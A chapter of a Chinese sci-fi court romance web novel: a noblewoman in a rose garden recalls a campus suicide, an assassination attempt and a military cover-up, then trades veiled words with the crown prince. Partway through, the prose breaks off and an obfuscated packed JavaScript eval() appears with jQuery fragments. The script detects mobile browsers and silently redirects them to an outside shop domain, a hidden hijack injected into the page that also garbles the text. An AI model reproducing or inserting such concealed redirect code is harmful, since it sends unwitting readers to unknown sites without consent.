傍晚的微风带来了丝丝凉意。
这个夏季快要结束了。
空气中飘荡着醉人的粉甜香气,馥郁又迷人,那是“冰封玫瑰”特有的香气。
这些来自深海星的珍稀名种,此时密密麻麻填满了她的视线。
在这座城郊的皇家花园里,秦然在花海小径中信步走着。
不远处的凉亭里,宗予正襟危坐,指尖在全息屏幕上快速滑动。
眼前的景色并不能引起他丝毫的兴趣,他只顾着低头处理军务,姿态显得是那么得拒人于千里之外。
作为未婚夫妻,他们正例行公事般地在完成皇室安排的“培养感情”的任务。
秦然很喜欢这片花园。
这大片的瑰丽景色和扑鼻的香气似乎给世界蒙上了一层朦胧的面纱,让周遭的一些都显得柔和了起来。
她纤细的指尖偶尔拂过娇嫩的花瓣。
她的眼神却在沉默中渐渐投向虚空,沉入了自己的思绪。
那个夏末的一天深夜,原本会成为应理第一次真正被卷入帝都阴影的开始。
那个夜里,应理会拖着熬了几个大夜的虚浮脚步离开了实验室,走在返回宿舍楼的路上。
平日里朝气蓬勃的圣哲伦校园,在此刻显得格外空旷。
偶尔有三三两两的学生结伴走过,他们刻意压低的话语声在寂静的夜色中无孔不入地飘进了应理的耳朵。
她会听见那些被刻意压低的议论声。
“喂,你们听说了没?那个视频.....”
“.....听说是文学系的学姐.....”
“嘘,小声点!这种事谁也不想的,人家已经很倒霉了......”
“更倒霉的是视频竟然传开了,这让她以后可怎么做人....”
应理不会在意。
疲惫感如潮水般涌来,她的眼睛都快要睁不开了,只想着赶紧躺回那张柔软的床上好好睡一觉。
突然——
咚!
直到那声沉闷的坠响划破夜色,像是有东西重重地砸在了地上,在这样漆黑的深夜里,让众人的心里升起了一丝不祥的预感。
所有人不约而同地停下了脚步,面面相觑。
那一瞬间,连应理的瞌睡都迅速地消失了大半。
在几息沉默后,远处传来了一声声划破夜色的凄厉尖叫。
“啊——救命啊,有人跳楼了!”
“快来人啊!”
人群如惊弓之鸟般朝着声音传出的方向奔跑了过去。
应理也会跟着过去。
但她们没能靠近现场。
比学生们更快到来的是校园里的安保人员,他们迅速拉起了警戒线。
除了两个安保人员在黑暗里蹲下身查看着什么,剩下的人都散了开将从各个方向赶来的学生们拦了下来。
“是她!”有人小声惊呼了起来。
应理会看到地上有一摊隆起,鲜血随着路边的缝隙蜿蜒而出,在昏黄的路灯下显得分外触目惊心。
紧接着,蹲着的两位安保人员沉默地摇了摇头,站起身脱下了外套盖在那滩鲜血淋漓上。
随后,有领头的负责人出面了。
他将这些出现在现场的学生们被聚集了起来、记录下了身份信息和班级,并用极其严肃的口吻警告她们:在官方公布有关消息前,严禁私下讨论或散播消息,违者将被记大过处理。
之后,她们这些学生被催赶着回到了宿舍。
那一晚,应理躺在自己柔软的床上,明明很疲惫不堪却毫无睡意。
只要一闭上眼睛,那抹在地上蜿蜒流出的血液就会重新出现在了她的眼前。
这一幕,会成为应理很久都无法忘记的画面。
她会为了那个陌生的女孩感到惋惜。
一条鲜活、本该有无限可能的生命,就这样永远地停在了这个夏末。
后来,一直到了天边渐渐露出光亮,她才在极度的困倦中小睡了片刻。
可是这场睡眠没有持续太久,应理很快就会被噩梦惊醒。
她坐在床上,捂着发木的脑袋出神。
外面天光已经大亮了,她索性也不再休息,起身抹了把脸,准备去一趟校外。
她和齐老头已经约好了,要用一些改装的小零件去换取实验中急需的稀有金属。
等应理从齐老头的店铺离开后,她像往常一样打算抄小路回学校。
就在那个僻静的角落里,她会遇见那个人。
——那个导致悲剧发生的刽子手。
应理会试图抓住对方,但他显然更有经验。
最终那个坏人逃走了,只留下了在挣扎中被她强行拽下来的终端。
在终端入手的瞬间,她就敏锐地察觉到了不对劲。
那不是一个普通终端的质感,它明显重了太多。
然后,应理带着这枚可疑的终端回去了。
她要去自己的实验室里将它拆解开,看看里面到底有什么特别的地方。
在她即将回到学校的时候,遭遇了杀人灭口式的袭击。
幸好宗予这个时候路过,救下了应理,并从应理的口中得知了她的发现。
应理会当着宗予的面拆开终端。
伪装的外壳之下,藏着的是远超民用终端所使用的精密机械设计,层层叠叠的防护之下,是一枚带着特殊标志的芯片。
在看到那个标志的瞬间,宗予的眼神瞬间沉了下去。
最后,在他的权力开道,和应理给出的有效线索下,那名逃跑的罪犯立刻被逮捕归案了。
案件很快下了判决,这名罪犯被查明是一位罪行累累的惯犯,数罪并罚后被判处了最高的二十年有期徒刑。
但那个隐藏在背后的人并没有任何的消息传出。
应理心里明白,这只是一场残缺的正义。
虽然她当时还不知道那个刻在芯片上的标志意味着什么,但很明显那根本不是一名普普通通的罪犯所能拿到的东西。
这几乎明白地昭示了这个案件的不简单之处。
背后可能有更大的推手,可是更多的结果她已经无从得知了。
在很久之后,那个时候的应理已经从圣哲伦大学毕业,她进入了帝国最中心的机械研究所。
她发现了当初的那个标志,正是第七军械所的专用标志,那是一个专门服务与军部高管的军械所。
因此,她也就发现了当年那场悲剧的幕后站着来自军部的黑手。
后来,应理在一次面见太子宗予时,问出了当年的事件。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17790751|210381||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
还好这位尊贵的太子殿下并没有彻底忘记。
他在微微眯起眼睛、短暂的思索后想起了她在问的到底是什么。
在得到宗予殿下给出了当年对于那名军部官员的处置结果后,应理的心并没有太大的感触了。
或许是因为时间已经过去了太久,也或许是她早有了心理准备:对于当初的事情,背后的人并不会有太多严重的处罚。
这就是真正的结束了。
“这样......就结束了。”秦然的手指微微用力,扯下了一片红色的花瓣,送到眼前仔细观察着,夕阳的微光透了过来,花瓣上细细的脉络清晰可见。
在她知道的命运轨迹中,宗予欣赏应理的天赋与勇敢,也愿意在规则允许的范围内,为她扫清一部分障碍。
但他本质上依然是这个帝国的守护者。
他给那位连名字都没有叙述出来的受害者的,是政治边界以内的正义。
这样的正义,多么的有限。
而她秦然要给的,是另外一种可能。
她会尽力去挽救无辜的生命,让被权力掩盖的阴影,无所遁形。
想到这里,秦然的嘴边不由地露出了一丝苦涩的笑意。
“你在看什么?”宗予不知何时已经走了过来,他难得在她一贯平和、温顺的脸上看到了这样情绪化的悲凉。
秦然放下了手指,任由花瓣从指尖滑落,“殿下,我在看这片美丽的花海。”
“我听说,西北也有一种很出名的花朵,美丽、罕见,在帝都的拍卖会上曾经拍出了天价。”宗予垂下了眼,直视着秦然美丽的脸庞。
秦然知道宗予说的是什么,那确实是一种十分罕见的植物。
只是要说多美丽的话,她可欣赏不了。
她只是平静地说道,“比起贫瘠的西北来,珍贵的花朵更加适合生长在帝都,在这里它们能得到更好的照顾。”
“是吗?”宗予不置可否,“那西北呢,适合什么?”
秦然看着目光锐利的宗予,露出了一贯温和的笑意。
她并不想与这位未来的帝国主宰在这里开启一段毫无意义的讨论会。
毕竟,她远没有能与他平等对话的地位,还不能直白地说出心中真正的想法。
于是,她轻轻地开口了:“在西北,气温与土壤的环境都恶劣得多,那里褐色的尘沙远多过肥沃的土地。在西北更适合种植一些易于生存、生命力顽强的植物。”
宗予深深地看着她。
眼前的这位未婚妻,看上去与她所说的西北恶劣环境是那么的格格不入。
她可一点都不像是从西北那个偏远的地方而来,她更像是中央星的贵族家里被精心娇养大的花朵。
宗予看着秦然那似乎刻进了灵魂深处的顺从,突然觉得有些索然无味。
他忽然想起了夏尔演示大厅里,秦然看向应理时眼底亮起的那簇火。
那一刻的她,至少不像现在这样,只是一尊温顺、得体的美丽木偶。
他不想再浪费珍贵的时间,动作利落地转身离开。
秦然跟随着他的脚步也一同离去。
他们今天的“培养感情”任务已经顺利结束。
天色已黑,他们可以回到各自的住处,不用再勉强相对了。